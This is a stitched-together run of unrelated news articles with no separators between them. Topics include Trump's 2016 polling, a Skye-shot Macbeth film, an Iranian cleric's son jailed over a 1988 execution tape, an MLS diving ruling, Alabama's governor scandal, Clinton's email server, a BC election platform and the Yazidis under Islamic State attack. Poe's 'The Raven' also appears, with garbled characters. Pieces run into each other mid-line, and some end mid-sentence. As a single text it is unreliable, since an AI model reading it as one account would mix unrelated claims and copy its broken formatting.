American politicians tend to be more unpopular than usual these days, but it's hard to overstate how bad Trump's numbers are with all Americans. In fact, Trump’s highly negative ratings appear to have no equal among major party nominees in presidential campaigns over the past 32 years.
The chart below shows the highest unfavorable rating for Democratic and Republican presidential nominees at any point between their campaign launch and the general election.
Trump’s image troubles are one reason prominent Republicans are currently attempting to stop him in his tracks, seeing him as a threat to other GOP Senate and congressional candidates this fall — not to mention the future of the party's image. Today’s favorable ratings could shift if Trump becomes the nominee — as the Fix’s Philip Bump noted, he got a boost from Republicans after his campaign launch last year — but current results also provide a clear gauge of Americans’ reactions to his presidential campaign over the past year.
The general election, if Trump makes it there, would not only be an up-or-down referendum on the businessman. But being strongly disliked by a substantial majority of the public is an obvious handicap, posing a challenge for both him and the Republican Party if he secures their nomination.
[The problem with the ‘Donald Trump is too unpopular to become president’ argument]
While Post-ABC polling on favorability or presidential candidates was limited ahead of the 1996, 1992 and 1984 general elections, other public surveys by Gallup, USA Today, CNN and the Los Angeles Times indicate unfavorable ratings for major-party nominees have never exceeded the mid-50s — well shy of Trump territory.
Reform Party candidate Ross Perot was not included in this comparison and had periods of widespread unpopularity, though his highest unfavorable mark of 58 percent in September 1996 still falls 9 points short of Trump’s mark.
If it weren’t for Trump, former secretary of state Hillary Clinton would be running up against records for unpopularity. Her 53 percent unfavorable mark in August essentially matched former Massachusetts governor Mitt Romney’s high of 52 percent in March 2012 and is more than 10 points higher than the most negative marks for Barack Obama and John McCain during the 2008 campaign. Clinton’s mark is similar to then-President George H.W. Bush’s brief high of 53 percent unfavorable during his unsuccessful reelection campaign in July 1992.
But Clinton still has plenty of daylight between her and Trump on this measure; his current negative rating is 13 points higher than Clinton’s highest ever (54 percent in 2008), and Clinton’s highest “strongly unfavorable” rating, which was reached this month, still trails Trump’s current mark by 15 points (41 percent for Clinton vs. 56 percent for Trump).
Texas Sen. Ted Cruz was similarly unpopular to Clinton in the latest Post-ABC poll, at 51 percent, though his strongly unfavorable rating was significantly lower (30 percent). Neither Vermont Sen. Bernie Sanders nor Ohio Gov. John Kasich’s favorable ratings were tested in the March survey, though other recent polls show Sanders’s unfavorable marks at 40 percent or below and Kasich’s at roughly 20 percent, with larger shares offering favorable views or saying they don’t know enough to report an opinion.
Finding a presidential candidate with unfavorable ratings exceeding Trump’s 67 percent mark requires looking beyond major-party nominees in The Post polling archives. But one long-shot candidate stands out: former Louisiana state representative and Ku Klux Klan leader David Duke was rated unfavorably by 69 percent of Americans during his unsuccessful 1992 run for the Republican nomination. Trump’s 30-percent favorable rating today is roughly three times the size of Duke’s 9 percent favorable mark in 1992, with far more reporting no opinion of Duke.
David Duke, the former Ku Klux Klansman, greets supporters in a Metairie, La., hotel on May 1, 1999. (J. Pat Carter/AP)
Coincidentally, Trump and Duke have tangled in both current and past presidential campaigns. Duke notably urged his radio audience to support Trump’s run for presidency last month, an endorsement which Trump disavowed after some controversy.
In 2000, Trump called Duke a racist and bigot when explaining why he would not accept the Reform Party’s presidential nomination, a party to which Duke belonged. Trump also cited Pat Buchanan’s membership in the Reform Party as a reason for bowing out of consideration; Buchanan’s 62 percent unfavorable rating that January is among the highest recorded for a presidential candidate in Post-ABC polling.
Despite similarly high negative marks, Trump has had more success in presidential primaries than either Duke or Buchanan. While Trump has won 19 state contests so far this year and is the clear front-runner for the GOP nomination, Duke lost every state where he competed in the 1992 Republican primaries, and Buchanan won only four states against Bob Dole in 1996.
Can Trump recover?
A big question is whether Trump’s image would improve in the eight months before November’s general election. Trump showed the potential to boost his standing when he launched his campaign last year. Prior to his announcement, a Post-ABC poll found only 16 percent rating him favorably, a number that more than doubled to 33 percent in July, with much of the increase among Republicans. Trump plateaued after that initial boost, and his current 30 percent favorable mark, is down from a peak 38 percent in November of last year. Given that a significant share of Trump’s detractors are Republicans, his ratings could rise if the party unites around him as their standard-bearer.
Past presidential campaigns show no clear pattern for candidates’ favorable ratings improving or deteriorating substantially from early spring to the fall of a general election year. Among recent nominees, Romney’s numbers did not clearly change through the 2012 campaign, though his “strongly favorable” and “strongly unfavorable” ratings both increased. Obama’s unfavorability marks went up slightly leading up to his 2012 election, but decreased leading up to his 2008 election. President George W. Bush also split the difference, his favorability dipping leading up to his 2004 election, but inching up ahead of his 2000 election.
Put simply: Trump’s image is very unpopular by historical standards, and presidential candidates do not tend to grow much more popular during election years.
The most recent Post-ABC poll was conducted March 3 to 6 among a random national sample of 1,000 adults reached on conventional and cellular phones. The margin of sampling error for overall results is plus or minus 3.5 percentage points.A NEW blockbuster movie version of Macbeth filmed on the Isle of Skye has landed one of the most prestigious slots at this year’s Cannes Film Festival.
Australian director Justin Kursel’s film - the latest in a series of big-budget movies to be shot on the island - will be in the running for the festival’s most coveted prize, the Palme d’Or, next month.
There is a huge appetite for ‘set-jetting’, and there’s no doubt that Skye’s big-screen appearance in Macbeth can only be a good thing for the island and Scotland as a whole Mike Cantlay
Michael Fassbender, who was nominated for an Academy Award for 12 Years a Slave, is in the titular role in the much-anticipated film, which was on location in Skye for around a week last year.
Set in 12th century Scotland and featuring original Shakespearean dialogue, Macbeth is one of the next big Scottish films awaiting release, along with the adaptation of Lewis Grassic Gibbon’s Sunset Song, which was filmed in Aberdeenshire last year.
Academy Award-winning French actress Marion Cotillard will be playing Lady Macbeth. Leading English actors Paddy Considine, David Thewlis and Sean Harris are also in the cast.
It is described by Film4, one of its main backers, as “a visceral interpretation of Shakespeare’s most famous and compelling play about a fearless warrior and an inspiring leader, set on the battlefields and within the landscape of medieval Scotland.”
It said Macbeth would tell the story of a “man damaged by war trying to rebuild his relationship with his beloved wife as they grapple with the forces of ambition and desire.”
Germany-born Fassbender’s other films include Prometheus, Ridley Scott’s 2012 Alien prequel, which was also partly filmed on Skye, and Fish Tank, a jury prize at Cannes.
Fassbender is one of the main stars of Slow West, a forthcoming western written and director by John Maclean, the Scottish musician turned filmmaker. The 38-year-old actor has also landed the main role in Danny Boyle’s forthcoming Steve Jobs biopic.
Fassbender will be following in the footsteps of Orson Welles, Brian Cox, Sir Ian McKellen, Sir Patrick Stewart, Jon Finch and Sam Worthington in playing the iconic role on screen.
Mike Cantlay, chairman of national tourism agency VisitScotland, said: “The new film adaptation of Macbeth is sure to generate renewed excitement and interest in one of Scotland’s most intriguing figures.
“As we’ve seen with locations associated with the likes of Outlander and Skyfall, there is a huge appetite for ‘set-jetting’, and there’s no doubt that Skye’s big-screen appearance in Macbeth can only be a good thing for the island and Scotland as a whole.
“Historic locations with a strong connection to the real Macbeth, including Glamis Castle, Scone Palace and Cawdor Castle, could also experience a surge in visitor numbers as film fans seek to learn more about the man being portrayed by Michael Fassbender.”
Natalie Usher, director of film at Creative Scotland, which provided £200,000 in funding for Macbeth, said: “We’re really proud to have supported this compelling realisation of one of Shakespeare’s finest works.”
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iPhone | iPad | Android | KindleLondon- Ahmad Montazeri, son of Ayatollah Hossein Ali Montazeri, who for decades was the right-hand man to Ayatollah Ruhollah Khomeini, founder of Iran’s Islamic revolution, was sentenced to jail for 21 years for releasing a decades-old tape in which his father denounced the mass execution of prisoners in 1988.
Ayatollah Hossein Ali Montazeri died in 2009.
A clerical court in the holy city of Qom sentenced Montazeri with 10 years in jail for compromising national security and 10 other years for making the recordings public, and another year for fifth column activity and empowering anti-regime propaganda, ISNA news agency said.
The court said he would only serve six years in view of his lack of previous convictions, his age, and “reverence” for a brother he lost in a MEK attack, an Iranian Marxist political organization in exile that seeks overthrowing the cleric-run regime and is labeled as a “terrorist organization” by Tehran’s totalitarian regime.
The elder Montazeri was one of the few Iranian leaders to voice opposition in 1988 when Khomeini ordered the execution of thousands of political dissidents held in the country’s jails.
In August Ahmad Montazeri was arrested shortly after releasing a 40-minute recording of his father from 1988, arguing with leading members of the judiciary about the executions.
Most of the executions were carried out against MEK supporters– the number of people executed by Khomeini’s orders range between 5,000-30,000 people.
The 1988 executions of political prisoners refer to the state-sponsored execution of political prisoners across Iran, starting on 19 July 1988 and enduring for approximately five months. The majority of those killed were MEK supporters although anti-MEK members of other leftist factions were executed as well.
The killings have been described as a political purge without precedent in modern Iranian history, both in terms of scope and cover-up. Concerning the exact number of prisoners executed, it remains a point of contention. Amnesty International recorded the names of over 4,482 disappeared prisoners during this time, but Iranian opposition groups suggest that the number of inmates executed was far higher, reaching as many as 30,000 dissidents who have been executed.
Great care was taken to keep the killings undercover–the Tehran regime currently denies the executions ever having taken place. Justifications offered for the alleged executions vary, but does not fully account for the targeting of other leftist groups who had also opposed the Mujahedin invasion.
Asharq Al-Awsat Asharq Al-Awsat is the world’s premier pan-Arab daily newspaper, printed simultaneously each day on four continents in 14 cities. Launched in London in 1978, Asharq Al-Awsat has established itself as the decisive publication on pan-Arab and international affairs, offering its readers in-depth analysis and exclusive editorials, as well as the most comprehensive coverage of the entire Arab world. More Posts - Facebook - Google Plus - YouTubeIt’s a shame Tracy Morgan isn’t on South Park instead of 30 Rock. Then we wouldn’t have had to wait seven months (and counting) for his show to address his verbal diarrhea.
Back in June, at a standup show in Nashville, Morgan said he would stab his son if he told him he was gay. His comment sparked a firestorm of debate, leading Morgan to go on an apology tour and Tina Fey, 30 Rock star and producer, to say this “wasn’t the Tracy I know.”
Now comes word the hit NBC comedy will actually address Morgan’s faux pas. MSNBC’s out newscaster Thomas Roberts, who makes a cameo appearance on the show, tells The Huffington Post:
“Well, you know how a lot of their episodes mirror their lives … They’ve incorporated [Morgan’s rant] into the Tracy Jordan storyline… Liz Lemon writes Tracy’s apology on the show and says he’s not a homophobe, he’s an idiot. That offends idiots, so while NBC is being picketed by the LBGT community, now it’s also being picketed by idiots led by Denise Richards. She’s the leader of the idiots.”
It’s not immaterial that Roberts works for the NBC family—If this were an episode of 30 Rock, Jack would have arranged for just such a storyline (and Roberts involvement) as some kind of Machiavellian damage control.
So is this just spin or a legitimate attempt to address an obvious wrong, albeit belatedly? We’ll have to tune in to see how it’s handled.
Photos: NBC/UniversalPortland Timbers players David Guzmán and Diego Chará will avoid any suspensions by the MLS Disciplinary Committee for their controversial falls to the ground against the LA Galaxy on Sunday, SI.com has learned.
The committee’s toughest decision, according to MLS vice president for competition Jeff Agoos, was on Guzmán, whose fall to the ground resulted in LA’s Jelle van Damme being sent off for a second yellow card.
“On Guzmán, the decision ultimately is that the committee was not unanimous to act on the play in terms of simulation/embellishment,” Agoos told SI.com late Wednesday afternoon. “That was what the play was originally tagged for. What I’ll say is that it was a very difficult decision, a challenging decision based on a lot of nuances. The five-member committee—three former players, a former coach and a former referee who have all been in MLS—was split to determine whether the player dove or whether he was looking to avoid contact with the LA defender Van Damme coming in.”
• WAHL: MLS not laughing at the Galaxy's viral Timbers diving video
Chará, meanwhile, will be fined for simulation but not suspended.
“The committee found that they were unanimous that it was simulation [by Chará],” Agoos said. “That will be a fine rather than a suspension. The reason it’s bifurcated is the material impact on the match. So on a player like Guzmán, there’s a material impact on the match, because it resulted in a second yellow card. The parameters for a suspension are if the simulation or embellishment winds up in a second yellow card, a red card, the awarding of a penalty kick or the triggering of a player’s yellow card accumulation suspension total, those are suspensions rather than fines. Everything else would be a fine.”
Portland will host fellow 2-0 starters Houston on Saturday.The Dutch economy was bigger in 2011 and 2012 than previously thought which could lead to the Netherlands facing a substantial surcharge from Brussels, finance minister Jeroen Dijsselbloem has warned.
The restated figures from the national statistics office CBS show the Dutch economy was bigger in both years than estimated earlier, which could lead to a new payment demand of €200m, the minister told parliament in a briefing on Wednesday.
The Netherlands’ contributions to the EU depend on the size of gross national income. Revised figures from 2013 and 2014 will be published in June which could further boost the bill.
The actual size of the surcharge depends on developments in other European cities and won’t be known until the autumn.
Last autumn the Netherlands was faced with an extra payment of €642m.
The CBS said on Wednesday gross national income was 1.8% higher in 2011 and 1.5% higher in 2012 than originally thought. The upward revision comes from ‘new information’ about the size of ‘international financial flows of multinationals’, the CBS said in an English-language statement.THE RAVEN. Once upon a midnight dreary, while I pondered, weak and weary,
Over many a quaint and curious volume of forgotten lore,
While I nodded, nearly napping, suddenly there came a tapping,
As of some one gently rapping, rapping at my chamber door.
"'T is some visiter," I muttered, "tapping at my chamber door�
Only this, and nothing more."
Ah, distinctly I remember it was in the bleak December,
And each separate dying ember wrought its ghost upon the floor.
Eagerly I wished the morrow:�vainly I had sought to borrow
From my books surcease of sorrow�sorrow for the lost Lenore�
For the rare and radiant maiden whom the angels name Lenore�
Nameless here for evermore.
And the silken sad uncertain rustling of each purple curtain
Thrilled me�filled me with fantastic terrors never felt before;
So that now, to still the beating of my heart, I stood repeating
"'T is some visiter entreating entrance at my chamber door
Some late visiter entreating entrance at my chamber door;�
This it is, and nothing more." Next >We've all heard of cops gone bad, cops on the take. But the tale that's come out of New York lately is of an entirely different order: Louis Scarcella, a star detective now accused of putting away innocent people, over decades, on false charges, by whatever means necessary—forced confessions, witness tampering, and a total disregard for justice. If he did half the things he's accused of, then we have a new definition of rogue cop
It was a gift, the way he could get bad guys to open up. "Really good detectives," he said once, "are born with this sixth sense, that crystal ball in their stomach. It’s having the ability to get inside that person’s soul whatever way you can and get the person to say what you need to hear." What else could explain it? Sometimes a case would come along and a whole squad of detectives would work it. But after months: cold as stone. And then Louis Scarcella would show up, find an accomplice, charm a witness, and—bang, just like that—a killer got locked up. A lot of killers. So many killers it’s tough to remember. "I don’t know how many homicides I caught," he says now. "Some people say 140, some say 170, some say over 200. I really don’t know how many." It doesn’t matter. Catch that many killers, and they’re all just statistics. What matters is how good the detective is, and everyone knew Louis Scarcella was the best.
In 1973, when Scarcella was sworn in, 1,680 people were murdered in New York City, and about as many were killed the next year and the year after that, all through the ’70s and into the ’80s. And then crime got really bad, and Bernie Goetz shot those kids on the subway, and the Central Park jogger got raped and beaten nearly to death, and the New York Post screamed DAVE, DO SOMETHING! on the front page, meaning Dinkins, the mayor. The murders peaked in 1990, at 2,245—almost seven times as many as in 2013—and didn’t start to dip until 1995, when Scarcella was five years out from his pension.
He is 62 years old now, with a heavy brow and shaggy hair that’s only beginning to thin. He’s fit and trim, muscles ropy under the tattoos staining his arms, and he still keeps a duplicate of his gold shield, which has the same number as his father’s gold shield, in his pocket. He doesn’t look like what the papers are calling him, a rogue. When he left the job, he was as famous as a street cop can get, because he broke some of the most heinous cases in a city that stratified crime between horrific and merely appalling.
He remembers those cases, the flashy ones that leapt out from the background drone of routine slaughter. The ones he put on his résumé. There was the subway clerk blown up by kids who squirted gasoline through the token-booth slot. That was a big story, a national story, because it was like a scene in a movie called Money Train, and it gave Bob Dole, who was running for president, an opportunity to grouse about how Hollywood was ruining America. He remembers the world-famous dancer, stabbed three times in the chest by a burglar, a grotesque symbol of New York’s descent into chaos. Took him a few months, but he got that guy, too.
And the rabbi. That case made Scarcella’s name. Chaskel Werzberger survived the Holocaust only to get shot in the face in Williamsburg in 1990. A robbery went bad, the thief panicked and jacked Werzberger’s station wagon to get away, killed him in the street. Dozens of detectives worked that case for weeks, got nothing but dead ends. Six months later, Scarcella and his partner found two men who said they were accomplices, and they fingered a guy named David Ranta as the shooter. Scarcella spent hours with Ranta, coaxing. "You’re Italian, I’m Italian," Scarcella finally said. "This is your chance to tell me. Tell me what happened." Scarcella wrote a confession for Ranta on the only thing he had, a manila file folder.
Scarcella got the Chief of Detectives’ Award for Outstanding Police Investigation for each of those cases. "He is one of the best at getting even the worst villains to talk," Pulitzer Prize-winning columnist Mike McAlary wrote in the Daily News in 1996. "The good detectives are like that. Their ability [to] talk to people make them legendary. In big cases, they bring in Scarcella." He was a legend. He retired a legend. And he probably would have died a legend, too.
But then, in the spring of 2013, something unusual happened: David Ranta was let out of prison.
What made Ranta’s release so extraordinary was that prosecutors asked a judge to let him go. In March 2013, after two decades of fighting appeals, district attorneys in Kings County re-evaluated whether Ranta ever should’ve been locked up. And they decided no, he should not have spent twenty-three years in prison, should not have been torn away from his family, should not have lost the prime of his life, for a crime he almost certainly had nothing to do with.
Twenty-three years after the fact, a witness said a detective (he did not say which detective) had told him to "pick the guy with the big nose" from a lineup. One of the alleged accomplices, a convicted rapist, says he lied to get a break on his own legal troubles. He says the other accomplice, a junkie with five open robbery cases, lied, too. Take away those witnesses, and all that’s left is a confession that Ranta has always insisted he never made; he says he signed the file folder with his purported statement on it when it was blank, thinking it was a form that would allow him to make a phone call.
Ranta’s release was a big story, maybe bigger, even, than Scarcella arresting him. The City of New |
and stories that matter, delivered weekday mornings.
March 26, 2016, 1:20 AM GMT / Updated March 26, 2016, 1:24 AM GMT By Phil Helsel
Alabama’s state auditor on Friday filed an ethics report alleging that Gov. Robert Bentley and the adviser he is accused of having an affair with misused state property and resources.
Bentley, a Republican, has been accused of having an affair with his top political adviser, Rebekah Caldwell Mason.
The report filed by State Auditor Jim Zeigler initiates a formal investigation. In the report, Zeigler cited news reports that said Mason is paid by a group called the Alabama Council for Excellent Government to further its policies, and the claim from a former top law enforcement official that she is the “de facto” governor.
Related: Alabama Governor Accused of Affair 'Is Not Resigning'
"The Governor continues to disgrace the state of Alabama, and in my official capacity as State Auditor, I am required to report these suspected violations,” Zeigler, also a Republican, said in a statement.
"It is clear that he is misleading the people of the state about the nature of his relationship, but it is also clear that Ms. Mason is required to either be classified as a public official, or file as a lobbyist, in her capacity as an advisor who is paid by an outside source," Zeigler said.
The report also claims that the two "have been using state property and resources in furtherance of their personal relationship."
Excerpts purported to be from a sexually-charged conversation between the two were published this week, and a fired top law enforcement official alleged the two had an affair and he was dismissed for refusing to lie about it.
Bentley on Wednesday apologized for a "mistake" but denied that any physical relationship took place, and said he has not done anything illegal or asked anyone to lie. Mason has also denied having a physical affair with Bentley. Bentley and his wife divorced last year.
Related: Fired Alabama Top Cop Says Governor Booted Him For Refusing to Lie About Affair
The governor on Friday said in response to the ethics report: "I have always complied with the ethics laws of the State. In fact, I voluntarily release my tax returns to the public every year in a spirit of openness and transparency. I have always and will continue to cooperate with the Alabama Ethics Commission.”
Spencer Collier, former secretary of the Alabama Law Enforcement Agency, said at a press conference Wednesday that he was fired the day before because he went against the governor’s wishes and signed an affidavit sought by the attorney general’s office.
Collier said he saw a text message on the governor’s phone that was sexual in nature in 2014 and confronted Bentley, who promised to end the relationship but didn’t. Collier said he was fired for allegedly misusing state funds, a charge he denies.
"Governor Bentley was elected by an overwhelming majority of the people of this state, but Rebekah Mason was not elected by anyone, and the level of influence that she is yielding makes her the de facto governor," he said.
Mason accused Collier of sexism. Mason has worked for Bentley since 2010, rising from campaign press secretary to senior political adviser, she said. "I am proud of what I have accomplished in my political career,” she said in a statement Thursday.
"There is no way that a man would have said what he did today about another man. He only said what he said about my professional abilities because I am a woman. His comments were clear, demonstrated gender bias," she said."We will succeed. The world will succeed," Tony Banbury, the outgoing head oof the United Nations Emergency Ebola Response Mission (UNMEER), told reporters on Jan. 2, 2015 in Accra, Ghana. Twitter/UNMEER
ACCRA, Ghana, Jan. 2 (UPI) -- On his last day as head of the United Nations Emergency Ebola Response Mission, Tony Banbury predicted the Ebola outbreak in West Africa would end in 2015.
Although the end is admittedly "not close," Banbury expressed optimism during a press conference in Accra on Friday that "we will succeed. The world will succeed."
More than 20,000 people were infected with Ebola in 2014, the World Health Organization reported. Nearly 8,000 have died since the outbreak began in December 2013.
"We are engaged in an epic battle," Banbury acknowledged.
UNMEER is headquartered in Accra with a staff of 30 whose main mission is to "identify everything that was required to bring this multifaceted crisis to an end," Banbury told Deutsche Welle. A staff of 118 are deployed to the three countries hardest hit by the outbreak: Guinea, Liberia and Sierra Leone.
A district-by-district approach is needed to stop the outbreak, Banbury concluded. Communities are key, he said, to confining transmission and preventing further spread and bigger outbreaks.
Banbury will be succeeded by Ismail Ould Cheikh Ahmed.Ty Segall and Mikal Cronin Are Rocking Fuzz Straps on the Manipulator Tour by Lee McAlilly
If you've been following us on social media lately, you'll know that we're pretty fired up about Ty Segall's latest album Manipulator. Not only that, we managed to catch the Ty Segall Band, which they're calling "The Manipulator Band," on their current tour at the Mercy Lounge in Nashville where they gave us one of the best rock and roll experiences we've had in a long time.
We managed to meet up with them at Grimey's before the show and give them some guitar straps. We were stoked to find out that Ty had already bought one of our Peruvian straps for his bass at Caveman Vintage in LA. But we were even more stoked when Ty and Mikal Cronin started wearing the straps we gave them every night on this tour. The straps are holding up well as these dudes are absolutely putting them to the test.
Here are some photos of the band in action. Special thanks to Jamie Hernandez and Amber Davis of do615.com for taking some sweet photos and being generous enough to let us post them here on the blog. If you have a chance to go see this band, don't miss it. They are on fire.
Photos by Amber Davis. Check her out at do615.com
The band played "Tall Man Skinny Lady" early in the set at the Mercy Lounge...
Photos by Jamie Hernandez. Check her out at Petite Rogue ProductionsDuring an interview with ABC News, Hillary Clinton apologized for using a private e-mail server during her time as secretary or state. Here are past statements where the presidential hopeful neglected to take personal responsibility for the controversy. (The Washington Post)
After several weeks of relative dormancy, the story of Hillary Clinton's private e-mail server surged back into the news Tuesday night, with a trio of stories that suggest things are going to get worse before they get better (if they get better) for the former secretary of state's 2016 campaign.
Here's what we learned:
1. The State Department has, on the record, disputed Clinton's claim that her handing over of her e-mails was standard operating procedure, according to reporting from The Washington Post. In fact, State contacted Clinton in the summer of 2014 upon learning that she had exclusively used a private server to conduct business during her time as the nation's top diplomat. Asked about the discrepancy in Iowa on Tuesday night, Clinton told the Des Moines Register: "I don't know that. I can't answer that."
2. The FBI has succeeded in recovering work and personal e-mails from Clinton's server. That raises at least the possibility that the 50 percent of her e-mails that Clinton deleted as private could be combed through to ensure that the judgments made by her lawyers were the right ones.
3. More State Department e-mails related to the September 2012 attacks in Benghazi, Libya, were turned over to the Republican-led congressional committee investigating Clinton's actions that day.
Any one of those stories is bad news for Clinton. The three together make for a toxic mix in a narrative that has already cost Clinton dearly in her bid for the Democratic nomination and the presidency. A new Bloomberg national poll shows her with a single-digit lead over Joe Biden and Bernie Sanders, and with fewer than four in 10 voters viewing her favorably.
The biggest problem for Clinton comes from the Post story, because it directly contradicts a central pillar of her pushback on the e-mail story. She has, since the private server came to light in March, insisted that the collection of e-mails from State was totally normal and the sort of thing that they did for everyone. “When we were asked to help the State Department make sure they had everything from other secretaries of state, not just me, I’m the one who said, ‘Okay, great, I will go through them again,’” Clinton said on "Face the Nation" on Sunday.
Except not. According to the Post report, State learned of Clinton's exclusive use of a private e-mail server in the summer of 2014 and immediately contacted her to learn more about the setup. That came months before the department made a similar request of other past secretaries.
So, someone is not telling the whole truth here. Clinton's turning over of her e-mails was either standard operating procedure — and therefore not evidence of anything out of the ordinary or suspicious — or it wasn't.
Remember, too, that this latest gap — or discrepancy — in her recollection of the events surrounding the server comes after months in which Clinton has struggled to get her story straight. When the news first broke, she said she used a private server solely out of convenience. She recently apologized for doing so. She initially said that there was no need to turn over the server to a third party investigator; she was eventually forced to do just that.
Time after time, the story Clinton has tried to tell has been contradicted — in ways large and small — by reporting about the e-mail server. She hasn't been able to put the story behind her because the story keeps evolving.
Clinton is breaking the first rule of crisis communications: Get EVERYTHING out all at once, take the hit and move on. Her approach, which is to give ground on the story only when her position becomes untenable, has already turned what looked like a coronation for the Democratic nomination into a potentially competitive race. It now threatens to do even more damage.VICTORIA — When the New Democrats one-upped the B.C. Liberals by announcing they would phase out bridge tolls this week, the governing party responded with a predictable “how are you going to pay for that?”
Never mind that the Liberals, through 16 years in office, routinely tapped contingency funds and other discretionary sources to pay for their schemes, half-baked and otherwise.
The Liberals were stung by the New Democrats having upstaging news coverage for their own promise of $30 million worth of relief for commuters in the form of a $500 cap on annual tolling payments.
If the New Democrats were going to eliminate a $200-million-a-year source of revenue for the Port Mann and Golden Ears Bridges, they need to provide a full accounting immediately.
Turned out NDP Leader John Horgan and crew were happy to oblige. And the answer, when it came with the release of the party election platform on Thursday, was diabolically clever.
Horgan would finance the elimination of tolls by liquidating the Liberals’ vaunted prosperity fund.
Or “Christy Clark’s LNG Fantasy Fund,” as the New Democrats put it, not missing an opportunity to stick in the knife over the Liberal failure to deliver on the biggest promise of the last election campaign.
The fund was the intended repository of the proceeds from the three — count em three — terminals for exporting liquefied natural gas that Clark promised would be running by the end of this decade.
None have got beyond the promise-making stage to date. But that didn’t stop the Liberals from cobbling together $500 million worth of discretionary funds from elsewhere in the budget and booking the total to the prosperity fund as if LNG were already a going concern.
Having contrived the LNG version of a Potemkin Village in the government accounts, the Liberals could scarcely deny the money was there to be used for other purposes if a successor government chose to do so.
Thus the Liberal stunt with the prosperity fund would help the New Democrats pay for a populist gesture to commuters angered by the arbitrary application of bridge tolling in B.C.
The New Democrats did not disclose a permanent financing scheme for the elimination of tolls once the prosperity fund is exhausted, as it would be in a few years.
Nor did their platform fully account for other promises like eliminating medical service plan premiums altogether over four years, “stopping” a projected 42-per-cent increase in auto insurance rates, and freezing B.C. Hydro rates for a year.
Also notable were a couple of dogs that did not bark in the capital plan. The New Democrats are proposing a five-year $7-billion increase in capital spending, “on top of projects already announced,” as the platform said.
On that basis, Horgan made no move to defund two of the most controversial projects in the existing capital plan, namely the $9-billion Site C dam or the $3.5-billion replacement bridge for the Massey Tunnel.
The gaps, real and perceived, in the NDP budget plan drew protests from Finance Minister Mike de Jong in a briefing for reporters shortly before noon. The usually-on-top-of-his-game de Jong started late and struggled with the numbers. A sign perhaps of having to rely on Liberal campaign staff as opposed to the able public servants in the Ministry of Finance.
He levelled a broad-brush accusation that NDP spending promises would mean “massive” increases in taxes and deficits and a downgrade in the province’s Triple A credit rating.
Maybe. But at first read the NDP plan did not represent all that massive a shift from the three-year budget the Liberals themselves tabled in February.
Horgan would increase program spending by 1.4 per cent above what the Liberals were projecting for the current financial year, by 2.5 per cent in fiscal 2018 and three per cent the next year.
Those increases, for the most part, would finance readily defensible priorities — including a long overdue increase in social assistance, elimination of interest on student loans, hiring more park rangers and conservation officers, and rolling back ferry fares on the smaller routes.
On the paying-for-it side of the ledger, the New Democrats would restore a higher bracket for folks with taxable income in excess of $150,000 a year, boost the corporate tax by a point and impose a special tax on homes deliberately left vacant for speculative purposes.
Their platform also projects returns of almost $700 million over three years from unspecified elimination of government waste and hoped-for economic growth. On the strength of those numbers, the NDP claims the budget would over the three years have surpluses in the $100-million range, about half the size of what is projected by the Liberals.
But as noted here Thursday, B.C. budgets include significant contingency funds and allowances against downturns in the economic forecast. Those “measures of prudence” total almost $2 billion over three years in the Liberal budget and fiscal plan and they are retained in the NDP plan as a hedge against the unexpected.
For all the unanswered questions and potential controversies to come, the NDP passed the first test of building an election platform.
To govern is to choose, as saying goes. On Thursday, John Horgan signalled that it is time for some different choices than the ones the B.C. Liberals have been making for the last 16 years.
vpalmer@postmedia.comThe Yazidis Are Not Getting Support
by Matthew Barber
with a translated statement from the Yazidi Prince, Mir Tahsin Beg
When the Islamic State attacked Iraq’s Sinjar Mountain range—home to the largest population of the Yazidi minority—on August 3, they arrived in only a few convoys, estimated to be carrying around 1,000 jihadist fighters. According to a new, private report by an Iraqi with military knowledge (yes, it will become public, hopefully soon), the mountain had a defense force consisting of 16,000 Kurdish Peshmerga and the 11th brigade of the 3rd division of the Iraqi army—led by a Kurdish general. None of the military leaders responsible for defending Sinjar were Yazidis, despite the mountain having a Yazidi majority population estimated at over 84%.
Though vastly outnumbering the attacking jihadists—and maintaining the high-ground advantage—the Peshmerga defenders fled the IS attack without a fight. In mid-August, Christine van den Toorn documented this ignoble abandonment of perhaps the Middle East’s most vulnerable minority group, but only now are we getting a sense of the numbers of Peshmerga who could have successfully defended them and prevented the displacement of several hundred thousand people.
Though as many as 16,000 Peshmerga fled the IS attack on Sinjar—supposedly for not having adequate defenses against the more up-to-date weaponry of the vastly smaller IS force—a group of just 3,000-4,000 local Yazidis with no support has continued to defend a few parts of Sinjar until this very day—embattled but remaining unconquered by the jihadists.
Theories that verge on the conspiratorial circulate among Yazidis who believe the KRG (Kurdistan Regional Government) threw them under the bus in order to elicit greater US military support. Yazidis see Sinjar—an outlying area not contiguous with the three governorates that make up Kurdistan Province—as a sacrifice made by the KRG for longer-term political goals. Perhaps simple cowardice is a better explanation, though one that runs against the grain of the lionized Peshmerga’s popular reputation.
Regardless of why the Peshmerga forces didn’t remain to defend Sinjar against IS for even one day, all of the claims—by Kurds and Iraqis alike—that it would be soon retaken have failed to materialize. Even after two months of US airstrikes in Iraq, IS still maintains control of almost every area that they took from Iraq and Kurdistan, including Sinjar, Tel Afar, and the Yazidi and Christian towns of the Nineveh Plain near Mosul.
Kurds finally captured Rabia from IS this past week, but were unable to continue to Sinjar, and their offensive prompted severe retaliatory attacks from IS that continue today—against Yazidi targets in Sinjar.
One would expect that the US airstrikes would be conducted in coordination with Kurdish ground forces in order to retake important Yazidi homelands—especially since the refugee crisis is choking the Dohuk governorate so badly that schools cannot open, their classroom floors being the new homes for thousands of expelled Yazidi families. But the particular IS bases on and near Sinjar that Yazidis have repeatedly requested be targeted by US airstrikes remain untouched.
Yazidis have given up all confidence in the KRG, most now self-referring as “Yazidi, not Kurdish.” With almost no arms/munitions support from the Iraqi or Kurdish governments, local Yazidi defenders in Sinjar (calling themselves the Sinjar Protection Forces) are trying to stave off IS attacks into the few areas unconquered by the jihadis. Thousands of kidnapped women being held in locations near the mountain—whose presence is confirmed by the UN and whom Yazidi volunteers are keeping track of—could be liberated by the Yazidi Sinjar Protection Forces, if they could just get US airstrikes to hit the IS bases and provide cover for the fleeing women.
I’ve written and spoken on international media about this problem as have many journalists and others (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15). Yazidi representatives have begged the State Department and Department of Defense to work directly with local Yazidi defenders in Sinjar. Instead, a pattern of sporadic and occasional US airstrikes continues in Iraq, more than two months since IS began a genocidal campaign of forced conversions, massacres, and sexual enslavement.
Less than one airstrike per day is occurring on IS targets in Sinjar.
A statement from the Prince—the highest figure of Yazidi leadership
